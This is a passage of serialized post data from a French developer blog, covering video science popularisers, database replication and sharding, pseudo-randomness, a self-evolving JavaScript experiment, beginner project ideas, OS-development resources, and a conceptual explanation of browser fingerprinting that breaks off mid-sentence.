appellerait ça du journalisme** !\n\nDes arnaques sur internet jusqu'à des histoires incroyables de mondes virtuels, **Sylvain nous fait réaliser qu'on ne connait peut-être pas aussi bien internet que ce que l'on pense** !\n\n### Apprendre la physique avec : E-penser\n\n\u003Ciframe width=\"480\" height=\"270\" src=\"https://www.youtube.com/embed/3iIpl6tvT7A?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\nSavoir code c'est bien. Comprendre le fonctionnement de sa machine c'est encore mieux. Mais **connaitre les lois fondamentales qui régissent toute notre vie et l'électronique qui nous entoure c'est incroyable** !\n\nNéanmoins je ne vais pas vous le cacher, il faut parfois s'accrocher !\n\n### Apprendre la linguistique avec : Linguisticae\n\n\u003Ciframe width=\"480\" height=\"270\" src=\"https://www.youtube.com/embed/ItZhk0NKnbU?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\nOn s'éloigne de plus en plus du monde du développement vous pensez ? Et bien pas du tout !\n\n**Coder revient à écrire des instructions suivant les règles d'un... langage de programmation**, autrement dit un vocabulaire prédéfini et une liste de règles de grammaire.\n\nEn apprendre plus sur notre propre langue et sa construction permet aussi de **mieux comprendre la manière dont sont conçus nos langages de programmation** !\n\n### Apprendre le fonctionnement du cerveau avec : Fabien Olicard\n\n\u003Ciframe width=\"480\" height=\"270\" src=\"https://www.youtube.com/embed/XGbcyAR8x3w?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\nPeu importe que votre site soit disponible sur ordinateur ou que vos applications ne soient utilisables que sur smartphone, **tous vos utilisateurs doivent utiliser un outil pour arriver à s'en servir, et cet outil c'est leur cerveau** !\n\nLe problème est que notre cerveau n'est pas parfait et qu'**il nous joue régulièrement des tours**, c'est pourquoi plus on en sait sur lui, plus l'on a de chances d'arriver à prévoir le comportement de nos utilisateurs et ainsi **leur faciliter la tâche** !\n\n* * *\n\n## En bonus (anglais)\n\n### Comprendre des concepts et l'histoire des mathématiques avec : Numberphile\n\n\u003Ciframe width=\"480\" height=\"270\" src=\"https://www.youtube.com/embed/9p55Qgt7Ciw?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\nJe ne suis pas très bon en mathématiques, mais la chaîne de Numberphile **vulgarise graphiquement tellement bien de nombreux concepts qu'elle pourrait me réconcilier avec cette science** si indispensable et à la fois si complexe pour beaucoup de gens.\n\n**La chaîne est en anglais mais le rythme des explications est suffisamment lent** pour qu'il n'y ait pas besoin de lire Shakespeare pour comprendre le contenu des vidéos !\n\n","Ma pluridisciplinarité est aujourd'hui ma marque de fabrique et je vais vous partager mes vulgarisateurs préférés en vidéo.","top-des-vulgarisateurs-pour-elargir-ses-connaissances-en-video-youtube","2020-06-22T04:51:23.000Z","2023-09-22T13:37:26.291Z","2020-11-10T07:30:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/11/nicolas-lobos-kGtFjYdm7DI-unsplash.jpg","Nicolas Lobos sur Unsplash","https://unsplash.com/@lobosnico?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":269,"title":270,"content":271,"socialTitle":8,"description":272,"socialDescription":8,"slug":273,"createdAt":274,"updatedAt":275,"publishedAt":276,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":277,"coverCopyright":278,"coverCopyrightLink":279},42,"Base de données : Différences entre réplication et fragmentation (sharding)","Si vous avez déjà plongé dans de la documentation de base de données (que ce soit du relationnel ou non-relationnel), vous avez sûrement déjà aperçu ces deux termes : \"**réplication**\" et \"**sharding**\"\n\n> En français on traduirait \"**sharding**\" par \"**fragmentation**\", mais qu'est-ce que cela signifie réellement ?\n\n## À quoi ça sert ?\n\nLa principale raison pour choisir ces stratégies de sauvegarde des données est de mettre en place un \"**scaling horizontal**\" ou \"**passage à l'échelle horizontal**\".\n\nPour la plupart des systèmes informatiques, **il sera moins cher d'investir dans deux petites machines** de performance _P1_ **que dans une grosse machine deux fois plus puissante** _P2_.\n\nC'est le même problème pour les bases de données : lorsque votre application grossie à tel point que le système commence à ralentir, **il est temps d'arrêter de faire grossir la machine** (scaling vertical) et de **commencer à diviser la charge dans de multiple machines** (scaling horizontal).\n\n## Méthode n°1 : La réplication\n\nCette stratégie consiste simplement à faire **coopérer un certain nombre de machines** (disons 3 pour l'exemple), **d'en promouvoir une au rang de primaire** et **les autres au rang de secondaires**.\n\n> À noter qu'il peut encore être courant de tomber sur les termes \"master\" et \"slaves\" pour désigner les deux rôles de ces machines.\n\n**Lorsqu'une nouvelle donnée sera sauvegardée sur le serveur primaire, ce dernier propagera cette nouvelle information** aux autres machines pour qu'elles \"répliquent\" le nouveau schéma des données.\n\nLa réplication est donc simplement une **copie intelligente des données.**\n\nL'avantage est d'avoir plusieurs machines différentes (mais synchronisées) sur lesquelles votre application pourra aller lire de la donnée, **ce qui permet de supporter plus de charge en lecture**.\n\nNéanmoins, **l'inconvénient est de devoir passer par le serveur primaire pour écrire ou modifier une donnée**, le processus d'écriture, lui, ne gagne pas en efficacité, mais en général la charge sur votre système vient principalement du nombre de lectures concurrentes.\n\n_De plus, si le serveur principal tombe, **il faudra attendre que les secondaires élisent un nouveau**_ **primaire** _**avant de pouvoir écrire à nouveau**, ce qui peut prendre du temps._\n\n## Méthode n°2 : La fragmentation\n\nIci il n'y a pas de relation hiérarchique entre les machines, **elles sont toutes sur un pied d'égalité et possèdent chacune une partie des données**.\n\nPrenons un répertoire par exemple : la machine 1 contiendrait les noms de A à I, la machine 2 de J à R et la machine 3 de S à Z.\n\n**Ici on améliore la performance en lecture ET en écriture car chaque machine est responsable de ses propres données**. Attention néanmoins, il faut que la fragmentation soit bien pensée car si toutes les données les plus populaires sont sur la même machine, cette dernière risque de subir plus de charge que les autres.\n\nMais **le vrai point faible de cette approche est que si l'une des machines tombe, c'est toute une partie des données qui est inaccessible**, même en lecture !\n\n## Méthode 3 : Hybride\n\nLa troisième méthode, la plus coûteuse mais aussi la plus robuste, consiste à d'abord **fragmenter ses données, pour ensuite répliquer chacun des fragment**.\n\nPotentiellement, cela veut aussi dire avoir **9 machines au total (dans notre exemple)**, ce qui en fait une architecture beaucoup plus complexe !\n\n## Conclusion\n\nPour choisir la meilleure solution pour votre projet, **il faut savoir ce qui est le plus critique pour vous :** la disponibilité, la consistance ou le partitionnement, sachant que vous ne pouvez choisir que deux des options.\n\nCe principe des bases de données distribuées s'appelle [**le théorème CAP**](https://code-garage.fr/blog/comprendre-le-theoreme-cap), que je vous laisserai découvrir si le sujet vous intéresse !\n\n","Vous voyez passer les termes \"replication\" et \"sharding\" en base de données et vous ne savez pas de quoi il s'agit, je vous explique tout dans cet article !","base-de-donnees-differences-entre-replication-et-fragmentation","2020-06-23T06:35:43.000Z","2024-04-08T07:03:46.410Z","2021-07-26T22:08:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/07/jaron-mobley-PkRS8ZahINM-unsplash.jpg","Jaron Mobley sur Unsplash","https://unsplash.com/@jaron_mobley?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":281,"title":282,"content":283,"socialTitle":8,"description":284,"socialDescription":8,"slug":285,"createdAt":286,"updatedAt":287,"publishedAt":288,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":289,"coverCopyright":290,"coverCopyrightLink":291},44,"Le jour où j'ai essayé de recréer la vie en Javascript","J'ai toujours été passionné par la science en général mais il y a un concept en particulier qui me fascine, dans la nature comme en informatique : **l'aléatoire**.\n\nBien sûr, les plus pointilleux d'entre-vous me diront que **le vrai aléatoire n'existe pas en informatique** (c'est vrai), et les autres me demanderont pourquoi ?\n\n> Ma réponse : peut-être dans un prochain article !\n\nToujours est-il que beaucoup de mes expérimentations tournent autour de ce concept, et c'est bien sûr le cas de celle d'aujourd'hui.\n\nMon idée : Essayer de **m'inspirer du concept de l'évolution** théorisée par Charles Darwin pour **générer un programme et le faire évoluer de manière aléatoire**, comme s'il était lui-même vivant.\n\n## Le contexte\n\nPour faire évoluer un programme, comme un être vivant, il faut plusieurs choses :\n\n* **un environnement**, ici c'est le moteur d'exécution javascript\n* **des briques élémentaires** (adn), ici ce sont les caractères alphanumériques et quelques caractères spéciaux\n* **une notion de temps et de survie**, ici nous allons utiliser la fonction \"exec\" pour exécuter le programme généré. Si le code s'exécute sans renvoyer d'erreur, il sera considéré comme survivant.\n* **une mémoire génétique**, chaque version survivante du programme sera utilisée pour la prochaine évolution, sinon on reviendra à la précédente.\n\nMême si cela parait compliqué, vous allez voir que **le résultat est vraiment très simple** !\n\n## Le programme\n\nJ'ai mené cette expérimentation il y a quelques années, le programme est en Javascript et **le code n'est pas le plus propre mais il a le mérite d'exister**.\n\nVoici le code source du générateur, que **vous pouvez aussi retrouver sur mon Github** : [https://github.com/NicolasBrondin/living-js](https://github.com/NicolasBrondin/living-js)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/carbon-16-.png)\n\n## Le résultat\n\nÀ chaque nouvelle version survivante, le programme essaye de faire grandir son code génétique. **Bien souvent sans succès.** Mais voici quelques résultats de programmes \"vivants\", quand même assez farfelus à lire pour nous, humains...\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/cover.png)\n\n**Et tous s'exécutent parfaitement !**\n\nTrois choses intéressantes ressortent de cette expérimentation :\n\n* Le plus petit programme Javascript valide sera **un chiffre compris entre 0 et 9 ou bien un point virgule**.\n* **Les programmes les plus longs et générés les plus rapidements des commentaires** car la combinaison \"//\" rendra toute la suite du programme valide.\n* La majorités des programmes générés **sont en faite des valeurs**\n\n## Évolution\n\nLe programme étant vraiment très simple, il serait intéressant d'y ajouter de nouvelles fonctionnalités comme :\n\n* Utiliser des mots clés en tant que briques primaires, et pourquoi pas suivre la syntaxe du langage pour des programmes plus intéressants\n* Ajouter une heuristique plus spécifique que la simple exécution, comme le temps d’exécution, la mémoire utilisée, et...\n* Améliorer la méthode d'évolutions et permettre au programme de changer des morceaux à l'intérieur du programme et non pas seulement à la fin\n\n","Voilà une expérimentation que j'ai fait il y a quelques années, un programme javascript auto-généré !","le-jour-ou-jai-essaye-de-recreer-la-vie-en-javascript","2020-06-25T12:06:46.000Z","2023-09-19T15:05:35.467Z","2020-06-25T12:28:43.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/06/danielle-macinnes-IuLgi9PWETU-unsplash.jpg","Danielle MacInnes sur Unsplash","https://unsplash.com/@dsmacinnes?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":293,"title":294,"content":295,"socialTitle":8,"description":296,"socialDescription":8,"slug":297,"createdAt":298,"updatedAt":299,"publishedAt":300,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":301,"coverCopyright":8,"coverCopyrightLink":8},45,"Pourquoi l'aléatoire n'existe pas en informatique ?","[Dans un précédent article](https://code-garage.fr/blog/le-jour-ou-jai-essaye-de-recreer-la-vie-en-javascript/), j'avançais que l'aléatoire n'existe pas en informatique, mais aujourd'hui je voudrais vous expliquer **pourquoi il n'existe pas, ou du moins, pas vraiment**.\n\n> Car oui, il faut prendre des pincettes lorsque l'on évoque la génération d'un chiffre aléatoire par des ordinateurs.\n\nOn peut dire qu'il existe **trois types d'aléatoire** en informatique :\n\n* L'aléatoire **absolu** (théorique)\n* L'aléatoire **réel** (extrinsèque)\n* L**e pseudo-aléatoire** (intrinsèque)\n\n_Voyons maintenant la différence entre ces trois concepts de manière simple et compréhensible._\n\n## 1 - L'aléatoire absolu\n\nCommençons par définir la notion générale d'aléatoire en utilisant l'un de ses synonymes : **aléatoire signifie imprévisible**.\n\nComme la nature est bien faite, il se trouve que **le hasard se trouve tout autour de nous**. Les lois de notre univers sont régies par une science que l'on appelle **la physique quantique.**\n\n> N'ayez pas peur, pas besoin d'être physicien pour comprendre la suite de l'article.\n\nL'une des caractéristiques de la physique quantique est **son imprévisibilité** car elle ne repose pas sur des mesures exactes connues, mais **sur un ensemble de probabilités**.\n\nPour vous donner un exemple, sans rentrer dans les détails, il est **physiquement impossible de prévoir exactement** la vitesse de désintégration radioactive d'un atome (ce n'est qu'un exemple parmi tant d'autres).\n\n> Ici, impossible ne veut pas dire \"impossible avec nos techniques actuelles\", mais bien factuellement impossible selon les lois de la physique.\n\nIl existe donc dans la nature **des exemples d'aléatoire absolu.**\n\nDans le cas ou un système informatique serait capable d'évaluer avec précision cette désintégration à un instant t et de manière efficace, **nous serions capable de générer un nombre réellement, et parfaitement, aléatoire**.\n\n> Un nombre, entièrement imprévisible à l'avance.\n\nIl est certains que d'intégrer de tels systèmes de mesure d'évènements physique à l'intérieur de l'ordinateur de monsieur tout le monde est impensable, et donc **l'aléatoire absolu n'existe pas en informatique classique.**\n\n> À l'inverse, [un ordinateur quantique](https://code-garage.fr/blog/ordinateur-quantique-explique-simplement/) sera lui capable de générer un nombre aléatoire absolu car son fonctionnement repose directement sur cette physique non-déterministe.\n\nPour notre informatique classique, celle que nous utilisons tous les jours, **il faut donc nous en remettre à des méthodes plus réalistes**, présentées juste après.\n\n## 2 - L'aléatoire réel\n\nLe but d'un chiffre aléatoire, notamment en **cryptographie**, est d'être **suffisamment imprévisible** pour qu'un attaquant **ne puisse deviner sa valeur**.\n\nEt en l’occurrence, nos ordinateurs sont capables de générer de tels chiffres, sauf que **leur système étant spécifiquement basé sur la logique**, **ces derniers doivent bénéficier d'une aide extérieure** au système sous la forme de données imprévisibles.\n\nEn utilisant des données extérieures au système en question (extrinsèque), nous sommes alors capable de générer **un nombre suffisamment aléatoire** pour être utilisé en condition réelle.\n\nPar exemple, une telle fonction va utiliser **la position de la souris** de l'utilisateur à un instant t, ou bien **la vitesse de rotation** des pales du ventilateur ou encore **la température du CPU** pour générer un nombre aléatoire suffisant.\n\nMême si ces valeurs ne sont pas parfaitement aléatoires au sens physique du terme, **il serait infiniment difficile pour un attaquant de prévoir la valeur exacte de ces nombres**.\n\nCe type d'aléatoire réel est donc suffisant pour les utilisations les plus critiques, la cryptographie notamment, **mais pas absolue**.\n\nNéanmoins, cela signifie que si un attaquant a directement accès à la machine en elle-même, **il pourrait (en théorie) arriver à reproduire ces nombres aléatoires** en interceptant les données utilisées.\n\n_Il existe même des expériences montrant qu'il est possible de décrypter une clé RSA grâce à l'analyse du son produit par le ventilateur de la machine : [https://www.cs.tau.ac.il/~tromer/acoustic/](https://www.cs.tau.ac.il/~tromer/acoustic/)_\n\n## 3 - Le pseudo-aléatoire\n\nIci on parle de l'aléatoire **le plus courant**, utilisant les paramètres internes (intrinsèque) de la machine et **servant principalement à de la logique métier** comme retourner une liste de ressources triées aléatoirement par exemple.\n\nLa plupart du temps ces méthodes **utilisent des fonctions mathématiques ainsi qu'un facteur temporel** afin de générer un chiffre **quasi-aléatoire**, suffisant pour une utilisation non-critique, mais bien loin d'un aléatoire sécurisé.\n\nVoilà par exemple un article expliquant **l'implémentation de la fonction Math.random() en Javascript**, montrant bien qu'il s'agit simplement d'un nombre pseudo-aléatoire : [https://v8.dev/blog/math-random](https://v8.dev/blog/math-random)\n\n","Si vous pensez que Math.random() renvoie un nombre aléatoire, alors on vous a menti !","pourquoi-aleatoire-n-existe-pas-en-informatique","2020-06-26T06:17:06.000Z","2023-11-16T13:56:53.928Z","2021-05-26T07:00:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/05/vintage-648120_1920-1.jpg",{"id":303,"title":304,"content":305,"socialTitle":8,"description":306,"socialDescription":8,"slug":307,"createdAt":308,"updatedAt":309,"publishedAt":310,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":311,"coverCopyright":312,"coverCopyrightLink":313},46,"9 idées de projets créatifs pour les développeurs web juniors","Quand on me demande **quel est le secret pour devenir un bon développeur web**, ma réponse est :\n\n> Il n'y a pas de secret. Il faut lire (beaucoup) et pratiquer (beaucoup).\n\nRien de tel que d'expérimenter avec de nouvelles technologies (ou renforcer celles que l'on maitrise déjà) en concevant **de nombreux projets**. L'avantage des petits projet est d'avoir **un portfolio bien rempli à présenter à un futur employeur**, même sans expérience professionnelle.\n\nMais bien souvent les développeurs juniors, malgré leur motivation, n'ont **pas d'idée de projet à coder** ou bien **ne veulent simplement pas copier un concept** déjà fait 1001 fois par d'autres développeurs.\n\nC'est pour ça que j'ai créé cette liste de projets courts, dont le concept est connu de tous mais **dans lequel chaque développeur va pouvoir insuffler son âme et sa créativité**, ce qui est bien plus intéressant !\n\n_Pour information, la difficulté indiquée est en rapport avec le niveau de développeur junior, la plus haute difficulté reste accessible même aux débutants mais prendra plus de temps à réaliser._\n\n## 1 - Un générateur de noms aléatoires\n\n**Compétences** : Front-end \n**Focus** : Interface, formulaire, gestion de l'aléatoire \n**Difficulté** : 1/5\n\nL'avantage avec un projet comme celui-ci, est que l'**interface peut être très simple et fonctionne pour tout un tas de sujets**.\n\nVous êtes fan de jeux de rôles ? **Générez des noms de personnages** ! Mais cela fonctionne aussi pour des noms de startups, des noms de chats et chiens, etc... Il y en aura pour tous les goûts !\n\n## 2 - Un portfolio\n\n**Compétences** : Front-end \n**Focus** : Design et hiérarchie des informations \n**Difficulté** : 1/5\n\nSi vous pensez que développer un portfolio ne peut pas être fun, c'est que **vous n'y avez pas encore suffisamment réfléchi** et que vous devez essayer de **sortir des idées préconçues** qui cloisonnent votre esprit !\n\nVotre portfolio doit à la fois permettre à quelqu'un de **trouver vos informations** comme il le souhaite, et **être vraiment original** pour capter son attention !\n\n_Voilà un exemple de portfolio/cv en terminal de commandes que j'ai développé il y a quelques années : [https://nicolas.brondin-bernard.com/cv/](https://nicolas.brondin-bernard.com/cv/)_\n\n## 3 - Un Quiz\n\n**Compétences** : Front-end et Back-end \n**Focus** : Workflow de données \n**Difficulté** : 2/5\n\nCréer un quizz sur un sujet que vous maîtrisez bien est à la fois **un bon moyen d'apprendre à maîtriser un workflow de données simples**, de s'assurer que vos joueurs ne peuvent pas tricher mais aussi de vulgariser et **transmettre des informations** sur un sujet que vous aimez.\n\n## 4 - Un convertisseur original\n\n**Compétences** : Front-end \n**Focus** : Manipulation de données \n**Difficulté** : 2/5\n\nL'idée ici n'est pas de convertir des euros en dollars, mais plutôt de convertir une donnée d'**un système de mesure peu fréquent** vers un autre. Par exemple : **Quelle est la taille de la Tour Eiffel en nombre de hamburgers** ? Quel est le poids de la planète Mars en nombre d'imprimantes ?\n\nBien sûr si le convertisseur est bien fait, **il devrait permettre de convertir de vraies unités** et avoir des résultats tous aussi cohérents !\n\n## 5 - Une interface de bureau\n\n**Compétences** : Front-end \n**Focus** : Gestion des intéractions en javascript \n**Difficulté** : 3/5\n\nQue diriez-vous de développer **votre propre système d'exploitation graphique** en Javascript ? Bien sûr il ne s'agit pas de développer la partie logicielle sous-jacente complexe d'un système d'exploitation, mais de se limiter à **la gestion des fenêtres, l'ouverture des fichiers, des icones**, etc...\n\n**Evolutions**:\n\n* Vous pouvez même transformer ce projet **en jeu d'enquête** dans lequel le joueur doit chercher des informations cachées dans le système !\n\n## 6 - Une inscription parfaite\n\n**Compétences** : Front-end, Back-end \n**Focus** : Expérience utilisateur, gestion de formulaire, gamification, authentification \n**Difficulté** : 3/5\n\nVotre but : créer un formulaire d'inscription et de connexion de plusieurs pages si bien pensées et si surprenantes, que **l'utilisateur devra avoir envie de s'inscrire même si il ne connait pas le service derrière**.\n\nArriver à capter l'attention de l'utilisateur, faire en sorte qu'**il ne ressente de déception à AUCUN moment** pour lui faire faire un saut dans le vide est un exercice très formateur en terme d'UX.\n\n**Evolutions** :\n\n* Ajouter un système d'analyse pour savoir à quel moment la plupart des utilisateurs s'arrêtent afin de le corriger.\n\n## 7 - Un jeu de rôle textuel\n\n**Compétences** : Back-end \n**Focus** : Jeu vidéo, parsing de commandes \n**Difficulté** : 4/5\n\nVous connaissez le jeu Zork ? C'est un jeu d'aventure sorti dans les années 70 dont le but était de venir à bout d'une quête **en intéragissant avec le jeu par des commandes de texte simples** comme:\n\n> \"Open the chest; Pick sword; Go North;\"\n\nL'idée d'un tel jeu est géniale parce qu'elle suscite l'imagination, qu'**il n'y a pas besoin de ressources graphiques** pour le développer mais que celà permet de débuter dans la programmation de moteurs de jeux.\n\nPour ceux qui voudraient tester le jeu d'origine, il est disponible en ligne : [http://textadventures.co.uk/games/play/5zyoqrsugeopel3ffhz\\_vq](http://textadventures.co.uk/games/play/5zyoqrsugeopel3ffhz_vq)\n\n## 8 - Une page de visualisation de données open-source\n\n**Compétences** : Front-end et back-end \n**Focus** : Cartes, graphiques et visualisation \n**Difficulté** : 4/5\n\nCe qui est intéressant avec une bonne visualisation, c'est qu'**on peut faire passer un message, inspirer des gens ou leur faire prendre conscience de quelque chose** de grave en jouant uniquement avec des sources précises et vérifiables. \n \nIl existe même un site français qui rassemble **des centaines de jeux d'open-data** juste ici : [https://www.data.gouv.fr/fr/](https://www.data.gouv.fr/fr/) \n \n_L'un des exemples les plus connus ces dernières semaines est le site de tracking des cas de Covid-19 en temps-réel : [https://ncov2019.live/data](https://ncov2019.live/data)_\n\n## 9 - Un crawler automatique de site\n\nCompétences : Back-end \nFocus : HTTP, proxys, user-agents, cron... \nDifficulté : 5/5\n\nArriver à récupérer les informations d'un site qui ne dispose pas d'API ouverte est comme **jouer au chat et à la souris**, car si votre but est de récupérer les données qui vous intéresse en temps voulu, la tâche du site en question est bien souvent de vous-en empêcher.\n\n_Attention néanmoins à rester dans le cadre légal de consultation des données fournies par le site ciblé !_\n\n","Si vous participez aux #100DaysOfCode, cette liste devrait vous intéresser !","idees-de-projets-creatifs-pour-les-developpeurs-web-juniors","2020-06-26T22:15:59.000Z","2023-09-22T13:37:46.771Z","2020-06-29T12:34:17.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/06/carl-heyerdahl-KE0nC8-58MQ-unsplash.jpg","Carl Heyerdahl sur Unsplash","https://unsplash.com/@carlheyerdahl?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":315,"title":316,"content":317,"socialTitle":8,"description":318,"socialDescription":8,"slug":319,"createdAt":320,"updatedAt":321,"publishedAt":322,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":323,"coverCopyright":324,"coverCopyrightLink":325},47,"Apprendre à développer votre propre système d'exploitation","[Dans un précédent article](https://code-garage.fr/top-5-des-series-sur-linformatique-et-la-programmation/), je vous parlais de la série \"Halt and Catch Fire\", dont la première saison traite de la création d'un ordinateur personnel dans les années 80.\n\nOn y voit notamment des ingénieur(e)s concevoir de zéro un BIOS (Basic Input Output System) ainsi qu'un système d'exploitation pour leur nouvelle machine.\n\nÉtant développeur web, plus habitué aux langages de haut niveau (par opposition au bas niveau, près de l'électronique), **je me suis toujours dit que ce n'était pas le genre de choses qui m'attirait**.\n\n## Créer un OS pour processeur ARM\n\nPuis le hasard faisant bien les choses, Twitter m'a fait découvrir un projet Github s'intitulant : \"**[Raspberry Pi OS : Learning operating system development using Linux kernel and Raspberry Pi](https://github.com/s-matyukevich/raspberry-pi-os)**\"\n\n::: bookmark\n[![](https://avatars0.githubusercontent.com/u/7030896?s=400&v=4)s-matyukevich/raspberry-pi-os](https://github.com/s-matyukevich/raspberry-pi-os)\n:::\n\nCe monde qui me paraissait alors inatteignable s'ouvrait à moi, semé d'embuches, certes, mais accessible.\n\nDans ce projet, divisé en plusieurs chapitres, eux-même divisés en plusieurs leçons, **chaque étape est détaillée, chaque ligne de code est expliquée**, et même les instructions d'assembleur ARM sont commentées.\n\nMais attention, **ne vous attendez pas à développer un clone de Linux**, le but de ce projet est de vous guider dans la création d'**un OS très simplifié**, de manière à ce que vous puissiez comprendre comme fonctionne globalement un système d'exploitation comme Linux.\n\nSoyons honnête, ce ne seront sûrement pas des connaissances que vous exploiterez de si tôt dans votre job de tous les jours, mais **quelle satisfaction de pouvoir comprendre un peu mieux comment nos incroyables machines fonctionnent** !\n\n## N'ayez pas peur\n\nBien que ce projet de vulgarisation soit très bien expliqué et détaillé, j'ai quand même vite **ressenti mes lacunes en système et en assembleur** me rattraper.\n\nJ'ai donc fait une pause dans la lecture afin de trouver **un cours qui me permettrait de combler ces lacunes**, et j'ai trouvé mon bonheur sur **OpenClassroom** : [https://openclassrooms.com/fr/courses/1464031-en-profondeur-avec-lassembleur](https://openclassrooms.com/fr/courses/1464031-en-profondeur-avec-lassembleur)\n\nJe suis actuellement dans la lecture de ce cours, mais **je voulais absolument vous partager ces découvertes** pour que peut-être d'autres développeurs puissent découvrir ce domaine, et surtout le fait qu'il soit **rendu accessible par des ingénieurs talentueux, passionnés et pédagogues** !\n\n## En bonus : Créer un OS pour processeur x86\n\nLe projet que je vous ai présenté précédemment est valable **uniquement pour les architectures ARM**, que l'on retrouve dans nos smartphones, dans des projets embarqués ou encore sur les **Raspberry Pi**.\n\nMais si vous êtes plutôt intéressé par apprendre à développer un OS sur x86, soit **l'architecture présente dans la majorité de nos ordinateurs aujourd'hui**, il existe la même initiative, toujours disponible gratuitement sur Github à l'adresse : [https://littleosbook.github.io/#about-the-book](https://littleosbook.github.io/#about-the-book)\n\n","Ça vous parait impossible ? Et pourtant il existe des ressources gratuites et très bien expliquées sur le sujet !","apprendre-a-developper-votre-propre-systeme-dexploitation","2020-06-30T11:35:30.000Z","2023-09-19T15:05:35.549Z","2020-06-30T12:13:14.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/06/alexandre-debieve-FO7JIlwjOtU-unsplash.jpg","Alexandre Debiève sur Unsplash","https://unsplash.com/@alexkixa?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":327,"title":328,"content":329,"socialTitle":8,"description":330,"socialDescription":8,"slug":331,"createdAt":332,"updatedAt":333,"publishedAt":334,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":335,"coverCopyright":336,"coverCopyrightLink":337},48,"Le fingerprinting, ou comment traquer un utilisateur sans cookies","Le \"browser fingerprinting\" est une méthode qui consiste, comme son nom l'indique, à générer **une \"empreinte\" unique basée sur les caractéristiques de votre machine et de votre navigateur**, le tout sans jamais rien stocker.\n\n## Comment ça marche ?\n\nGrâce à un bout de code Javascript présent dans la page, le site en question va essayer de **récupérer un maximum d'informations mises à disposition par le navigateur**.\n\n> Mais quelles informations me direz-vous ?\n\nEn **voici une liste non-exhaustive** :\n\n* La langue par défaut\n* La timezone\n* Le user-agent\n* La liste des polices installées\n* Les plugins installés\n* La résolution de l'écran\n* Le ratio des pixels\n* etc...\n\nCertaines librairies utilisent **des dizaines de caractéristiques différentes**, et certains sites utilisent aussi des informations **récupérées par le serveur telles que l'adresse IP, l'adresse MAC**, etc...\n\nIl est parfois possible d'arriver à 99.5% de précision d'identification en quelques millisecondes, vous pouvez par exemple tester la librairie fingerprintjs dans sa version 2, disponible sur Github : [https://github.com/fingerprintjs/fingerprintjs2](https://github.com/fingerprintjs/fingerprintjs2)\n\n::: bookmark\n[![](https://avatars0.githubusercontent.com/u/67208791?s=400&v=4)fingerprintjs/fingerprintjs2](https://github.com/fingerprintjs/fingerprintjs2)\n:::\n\n## Dans quel but ?\n\nVous connaissez certainement **la méthode de tracking la plus courante qui consiste à déposer un cookie** sur la machine du visiteur et de récupérer sa valeur entre chaque visite.\n\nEncore mieux, il est possible d'**importer un script** d'un domaine particulier (chaque cookie est relié à un domaine) **sur plusieurs sites pour tracker la navigation du visiteur entre ces sites**, c'est le principe de Google Analytics.\n\n**Mais que se passe-t'il si l'utilisateur supprime ce cookie ?** S'il passe en navigation privée ou qu'il bloque le chargement des scripts tiers comme certains AdBlocker ?\n\n> Le tracking devient alors impossible.\n\nEnfin, jusqu'à ce que le fingerprinting s'en mêle, car grâce à (ou à cause de) lui, il est possible d'identifier un utilisateur sans rien stocker sur sa machine, en toute discrétion, **même si il change de navigateur ou passe en navigation privée**. L'algorithme de fingerprinting devra simplement **recalculer l'identifiant unique, et pourra le comparer aux sessions précédentes**.\n\nLes deux principales utilisations de cette méthode sont **le tracking publicitaire** (j'en reparle à la fin de l'article) et **la détection de fraude**.\n\n> Par exemple, une plateforme ne voulant autoriser qu'un seul compte par utilisateur pourra comparer l'empreinte d'un visiteur lors de la création du compte pour **vérifier qu'il n'est pas déjà inscrit avec un autre email.**\n\n## Comment s'en protéger\n\n**Se protéger de ce système de traçage est plus complexe que de bloquer les cookies** ou les scripts tiers car tout le code est en local sur le site, il faudrait donc **une analyse complète du code du site** afin de déceler un algorithme de fingerprinting.\n\nHeureusement, certains éditeurs de logiciels arrivent à trouver **des solutions partielles**, comme cette extension pour le navigateur Firefox, **censée empêcher le fingerprinting** : [https://www.presse-citron.net/firefox-de-nouvelles-fonctionnalites-anti-fingerprinting-pour-proteger-votre-vie-privee/](https://www.presse-citron.net/firefox-de-nouvelles-fonctionnalites-anti-fingerprinting-pour-proteger-votre-vie-privee/)\n\nIl existe aussi une initiative appelée \"**Am I Unique ?**\" qui permet d'analyser votre navigateur de manière à **découvrir à quelle point votre navigateur peut être pisté ou non** : [https://amiunique.org](https://amiunique.org)\n\n::: bookmark\n[![](https://amiunique.org/qr_code.png)AmIUnique](https://amiunique.org)\n:::\n\n## Cette pratique est-elle autorisée par la RGPD ?\n\nLe but d'une réglementation comme la RGPD est **de rester valable pour un maximum de cas** malgré l'évolution rapide des technologies.\n\nC'est pourquoi **vous ne verrez pas de mention du \"fingerprinting\" dans le texte de loi**, mais plus globalement de toutes informations personnelles permettant de traquer un 